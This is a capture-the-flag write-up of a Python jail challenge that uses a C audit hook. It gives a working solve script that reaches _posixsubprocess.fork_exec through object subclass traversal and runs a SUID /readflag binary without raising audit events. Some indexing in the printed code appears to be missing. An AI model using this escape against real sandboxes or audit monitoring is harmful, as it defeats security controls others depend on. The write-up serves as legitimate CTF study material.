Tags: python pyjail cpython audit
The challenge begins by installing a Python audit hook written in C:
static int auditor_hook(const char *event, PyObject *Py_UNUSED(args), void *Py_UNUSED(user_data))
if (!atomic_load(&auditor_may_exec) || atomic_flag_test_and_set(&auditor_did_exec) || strcmp(event, "exec"))
Essentially, this allows the 'exec' event to be run once. If it's run again, or any other audit events are raised, it will exit immediately using the `exit()` syscall, without running any exit handlers.
The challenge also clears `sys.modules`, although we still have access to `builtins` due to the misuse of `exec`.
The flag.txt file is not readable, so the goal is to run the SUID '/readflag' binary.
Immediately, it should be obvious that there are two major areas to investigate to solving.
1) Escape from 'Python-land' - Perform some kind of exploit to give us native code execution. I quickly tried `unsafe-python`, but this turned out to use several unavailable imports, and actually raises some audit events.
The intended solution here was apparently to use a [Python bug](https://bugs.python.org/issue39091) and pwn the process - I guessed that this might be the case as the challenge was under "pwn", but, being familiar with Pyjail challenges, tried to find an in-Python method to do it.
2) Find a non-audited way of executing a binary
After some research, I managed to land on `_posixsubprocess.fork_exec` ([here](https://github.com/python/cpython/blob/f4c03484da59049eb62a9bf7777b963e2267d187/Modules/_posixsubprocess.c#L658)). This is a function used in the implementation of the `multiprocessing` and `subprocess` modules.
I found that executing `_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)` would run the binary and get the flag. But how to get the modules - they've been cleared from the process?
## Getting Imports
I quickly found that `().__class__.__base__.__subclasses__().load_module` is a function allowing imports of a small subset of the Python builtin modules. This includes `sys`, `posix`, `time`, `_imp` and so on. I also found that by modifying `sys.builtin_module_names`, I could import more modules, such as `os` and `types` - but not all!
At this point I got stuck, spending a lot of time trying to traverse from my modules to one importing `_posixsubprocess`. However, shortly after the competition I discovered: `load_module` is able to load `_posixsubprocess` in the Python version in the Docker, but not in my host's! With this, solving is easy:
# Make fake import function
import_ = ().__class__.__base__.__subclasses__().load_module
# Load _ps
_posixsubprocess = import_("_posixsubprocess")
# subclasses is an os module function, so we can reach os.pipe via its globals
pipe = ().__class__.__base__.__subclasses__().__init__.__globals__['pipe']
# Get the flag
_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None)
tl;dr Python is impossible to sandbox, and always use the provided Docker environment!